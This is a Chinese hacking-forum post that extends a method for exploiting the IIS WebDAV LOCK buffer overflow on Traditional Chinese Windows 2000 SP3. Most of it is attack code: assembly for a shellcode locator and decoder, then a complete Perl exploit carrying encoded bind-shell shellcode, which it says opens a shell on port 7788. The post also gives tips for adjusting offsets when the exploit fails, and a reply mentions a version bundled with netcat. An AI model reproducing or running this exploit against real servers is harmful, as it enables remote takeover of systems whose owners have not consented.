论坛: 黑客进阶 标题: Webdav漏洞ISNO方法的补充 复制本贴地址    
作者: hacker521 [hacker521]    论坛用户   登录
Webdav漏洞ISNO方法的补充~~
作者：Nanika

首先必须先感谢ISNO的指导，和袁哥的文章，我把我研究的结果，跟大家报告一下，
ISNO的方法很好，他把真正绑定Port的shellcode放在最后
print $socket "LOCK /$bf$ret$decode$sc$buf HTTP/1.1\r\n";
print $socket "Host: $host\r\n";
print $socket "Content-Type: text/xml\r\n";
print $socket "Content-length: 808\r\n\r\n";
print $socket "$tag$shell\r\n";

然后利用袁哥所写的 http://www.nsfocus.net/index.php?act=sec_self&do=view&doc_id=646
把ISNO所写的
add esi, 1000h
       jmp loadmem
   lookupN:
       add esi, 4000h
   loadmem:
       mov eax, [esi]
       cmp eax, 4e4e4e4eh    ;搜索含NNNN的内存，提高搜索效率
       jnz lookupN
       add esi, 4
   lookupYXYX:
       mov al, byte ptr [esi]
       inc esi
       cmp al, 59h           ;在后面搜索YXYX，这是我们放在shellcode前面用来定位的
       jnz lookupYXYX
       mov al, byte ptr [esi]
       inc esi
       cmp al, 58h
       jnz lookupYXYX
       lodsw
       cmp ax, 0x5859
       jnz lookupYXYX
       jmp esi               ;搜索到以后就跳到shellcode去执行
这一段编码
但我们还需要一段译码的程序
袁哥所写的
对shellcode解�a代码的汇编代码�s

void  shellcodefnlock()
{
    _asm{

     nop
     nop
     nop
     nop
     nop
     nop
     nop
     nop


unlockdataw:
     nop
     push  ebx
/*   可以通用 push esp  */
     pop   esi
loopload: 
     lodsw
     cmp  ax,0x6099    // SHELLDATA
     jnz  loopload
     push esi
     push esi
     push esi
     pop  edi
looplock:     lodsw
     cmp  ax,NOPCODE   
     jz   toshell
     nop
     sub  al,DATABASE
     nop
     push eax
     pop  ecx
     lodsw
     nop
     sub  al,DATABASE
     lea  edx,dword ptr [eax+ecx*4+0x70]
     lea  edx,dword ptr [edx+ecx*4-0x70]
     lea  edx,dword ptr [edx+ecx*4+0x70]
     lea  edx,dword ptr [edx+ecx*4-0x70]
     push edx
     pop  eax

/*
     temp=shellcodefnadd[j];
     buff[OVERADD+offset+2*j]=DATABASE+temp/0x10;
     buff[OVERADD+offset+2*j+1]=DATABASE+temp%0x10;
　
     的逆运算�o但这儿是双字节形式      
　　 就是0xa*0x10+0xb=0xab这么个算法�o为了迁就指令范围弄得这么复杂

*/
     stosb
     jz  looplock
     jnz looplock
     nop
toshell:   pop  eax
     push eax
     push eax
     push eax
     ret
     nop
     _emit(0x99)
     _emit(0x60)
     _emit(0x0)
     _emit(0x0)
     _emit(0x0)
     _emit(0x0)
     NOP
     NOP
     NOP
     NOP
     NOP
     NOP
     NOP
     NOP
     
}
}   
但是~~我在测试时发现~~这一段在繁体中文版中~~没有办法通用~~
有很多字符没有办法正确的解�a
于是我花了很多时间~~写了一个~~繁体中文版的译码程序
_Nanikalock2:
00421B9C 53                   push        ebx
00421B9D 5E                   pop         esi
00421B9E 90                   nop
00421B9F 66 AD                lods        word ptr [esi]
00421BA1 EB 01                jmp         _Nanikalock2+8 (00421ba4)
00421BA3 90                   nop
00421BA4 90                   nop
00421BA5 66 3D 58 59          cmp         ax,offset _Nanikalock2+0Bh (00421ba7)
00421BA9 75 F4                jne         _Nanikalock2+3 (00421b9f)
00421BAB 90                   nop
00421BAC 56                   push        esi
00421BAD 5F                   pop         edi
00421BAE 90                   nop
00421BAF 66 AD                lods        word ptr [esi]
00421BB1 EB 01                jmp         _Nanikalock2+18h (00421bb4)
00421BB3 90                   nop
00421BB4 90                   nop
00421BB5 66 3D 4F 00          cmp         ax,offset _Nanikalock2+1Bh (00421bb7)
00421BB9 74 3C                je          _Nanikalock2+5Bh (00421bf7)
00421BBB 90                   nop
00421BBC 2C 61                sub         al,61h
00421BBE 50                   push        eax
00421BBF 59                   pop         ecx
00421BC0 90                   nop
00421BC1 66 AD                lods        word ptr [esi]
00421BC3 EB 01                jmp         _Nanikalock2+2Ah (00421bc6)
00421BC5 90                   nop
00421BC6 2C 61                sub         al,61h
00421BC8 50                   push        eax
00421BC9 5A                   pop         edx
00421BCA 8D 54 8A 70          lea         edx,[edx+ecx*4+70h]
00421BCE 8D 54 8A 90          lea         edx,[edx+ecx*4-70h]
00421BD2 8D 54 8A 70          lea         edx,[edx+ecx*4+70h]
00421BD6 8D 54 8A 90          lea         edx,[edx+ecx*4-70h]
00421BDA 52                   push        edx
00421BDB 58                   pop         eax
00421BDC AA                   stos        byte ptr [edi]
00421BDD 51                   push        ecx
00421BDE 90                   nop
00421BDF 59                   pop         ecx
00421BE0 90                   nop
00421BE1 90                   nop
00421BE2 90                   nop
00421BE3 90                   nop
00421BE4 90                   nop
00421BE5 74 C8                je          _Nanikalock2+13h (00421baf)
00421BE7 EB C6                jmp         _Nanikalock2+13h (00421baf)
00421BE9 EB 01                jmp         _Nanikalock2+50h (00421bec)
00421BEB 90                   nop
00421BEC 90                   nop
00421BED 90                   nop
00421BEE 90                   nop
00421BEF 90                   nop
00421BF0 90                   nop
00421BF1 90                   nop
00421BF2 90                   nop
00421BF3 90                   nop
00421BF4 90                   nop
00421BF5 90                   nop
00421BF6 90                   nop
00421BF7 90                   nop
00421BF8 90                   nop
00421BF9 EB 05                jmp         _Nanikalock2+64h (00421c00)
00421BFB 90                   nop
00421BFC 90                   nop
00421BFD 90                   nop
00421BFE 58                   pop         eax
00421BFF 59                   pop         ecx
这一段的程序~~是利用袁哥所写的构想~~
经过我的测试~~繁体中文或是简体中文~也可以省略那一段搜索SHELLCODE的程序~~
我们可以直接~~利用袁哥的编码~~把绑定cmd的shellcode编码~~
然后建构在译码程序之后~~~
详细请参考最后的Exploit~~

我觉得现在大家所发出来的EXPLOIT都没有办法可以很有效的通用~~
原因在于编码方式的不同~~和SHELLCODE定位困难~等等问题~~

我只是初学者~~写这篇的目的~~希望可以抛砖引玉~~让各位高手~~可以研究出~~通用在各种版本的利用方法~~


繁体中文版的
exploit
#!/usr/bin/perl
#use call ebx as the ret
#test on Chinese Big5 Win2k sp3
#by Nanika@seed.net.tw  minjack.tw@yahoo.com.tw
#thanks isno,yuange
use IO::Socket;
if ($#ARGV<1){die "webdavx.pl IP offset\r\noffset: 0-7\r\n";}
$host = @ARGV[0]; 
$port = 80;
$offset = @ARGV[1];

$decode =
"%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090".
"%u5e53%u6690%uebad%u9001%u6690%u583d%u7559%u90f4".
"%u5f56%u6690%uebad%u9001%u6690%u4f3d%u7400%u903c".
"%u612c%u5950%u6690%uebad%u9001%u612c%u5a50%u548d".
"%u708a%u548d%u908a%u548d%u708a%u548d%u908a%u5852".
"%u51aa".
#decoder code
#66 bytes
"%u5990%u9090%u9090%u7490%uebc8%uebc6%u0590%u9090".
"%u9090%u9090%u9090%u9090%u9090%ueb90%u9005%u9090".
"%u5958";

$sc =
"jaoladfnolafoipippppppidmfbfjajajailmfddmjggljbaadfaiadajheaocpk".
"hoiojfjhjhmnbmenbehmjapngimepddgjhjhjhjhmhpdbolcjhjhjhjhkeemcmjh".
"jhhhoahpeljgjhjhbggmjhjhgicijibefjjgjhjhbgfejhjhjgjhpbbgkmnkmnoc".
"hakefhbmnekljefepbbgkpmhncoceobefhopbmkhjegebmnjjljefmbgkonmncmf".
"njocfcbgoojdncnlkekfocclkegibmnblhjefebmfmjejpbgkonapcodmhocjobg".
"oojdofpipengodjbnabefhjdhmhcjegijegmbmmbldjegnkeefpbbmiabmgnbmnb".
"ihnpjegpkefobmfijefojefojenjiljefmbmkojegmhopojgjhjhmjbagabmeake".
"fhgaehbmfpgfdibokfbknfjpmfmhmegiifmnbonfjdbkoficmfmbgimfjdmnkefh".
"dlbdfhocgokefobnjjbdfoodjomfmbmegiifmndmhfhpnbmfmbgimfjdmnbmepke".
"fhdlbdfhocgokefobnjjbhgojfodjomfmbmegiifmndmhfhakefhmhnhmhnhmhgi".
"mahpaepnihmbmegimahlpnjfmegimaghkefhmamhchjldmmpdmnhdmminpmhmamb".
"dkmbgimafhnpmhmadkmbdkmbgimafhnpchndbojamagimafdkefhbmnbgdbonakl".
"bonanhbmjbbonakpkefhpbcpjgjgbonallmamakefhmhmhmhnhmhnpmhmhdkmbke".
"fhmhgimafpgiobghgimaflgiobglgimaflnpmhmhmegimagdbmepkefhcdjdmhfg".
"hpjdmhgimaedbmghkefhbmfpccjdmhmhmamgmbgioadpgimaehbekijgollfkefh".
"mhmagikambgioadpgimaeljmfhodlikefhmhgikambmegimagppnmhgimahhhmfp".
"kefhmhcdjdmhmbmegimaglmakefomgmhmbgioadlgimaeppnmhgimahhhmdnmhgi".
"mahdhmgjmpmhbonfgffebmndldjljccpjhjhjhfajhopmbkdifkefhfehmhlhphf".
"gkgigihpafgjgiginmmbhaoalebhhaoanlpipgpdnlpopfofpgofoongjhnmncmf".
"njncnlkekfjhneofpcpgodpcmhpoohpcjhnapcodmeodpgofodocohnopjpbping".
"jhneofpcpgodpcmhofpipepcoeoengjhneplpioepcnppgpjpdplpcjhmhpcpcpm".
"njpgpkpcpdmhpoohpcjhnaplpipfpgplngplplpipejhmaofpoodpcnbpoplpcjh".
"mfpcpgpdnbpoplpcjhmeplpcpcohjhncoppoodmhofpipepcoeoejhjhmamenine".
"nmkekfjhoepipepmpcodjhpfpopjpdjhplpooeodpcpjjhpgpepepcohodjhoepc".
"pjpdjhofpcpeobjhjfjhijpljhjhjhjhjhjhjhjhjhjhjhjhpepkpdljpcoppcjh".
"gigigigi";

#code to find the real shellcode
#1608 byes

$num = 266+$offset;
$bf = "A" x $num;
$ret = "%u6e53%ueb06%ueb06%u2191" x 8; #call ebx addr 0x6e532191
$n = 63549;
$buf = "O" x $n;
$tag = "YXYX";
$shell ="AAAA";
$socket = IO::Socket::INET->new(PeerAddr => $host, PeerPort => $port, Proto => "tcp", Type =>SOCK_STREAM) or die "Couldn't connect: @!\n";
print $socket "LOCK /$bf$ret$decode$sc$buf HTTP/1.1\r\n";
print $socket "Host: $host\r\n";
print $socket "Content-Type: text/xml\r\n";
print $socket "Content-length: 8\r\n\r\n";
print $socket "$tag$shell\r\n";


print "send buffer...\r\n";
print "telnet target 7788\r\n";
print "if fail, try other offset(0-7)\r\n";
print "test on Chinese Big5 Win2k sp3\r\n";
print "by Nanika@seed.net.tw  minjack.tw@yahoo.com.tw\r\n";
print "thanks isno, yuange\r\n";

close($socket);
若是失败~~可以调整offset~~或是跟改call ebx的地址 

地主 发表时间: 07/20 07:03
回复: junjuntop [junjuntop]   论坛用户   登录
现在有个整合nc的

用起来比较方便

还是中文的

B1层 发表时间: 07/26 19:31

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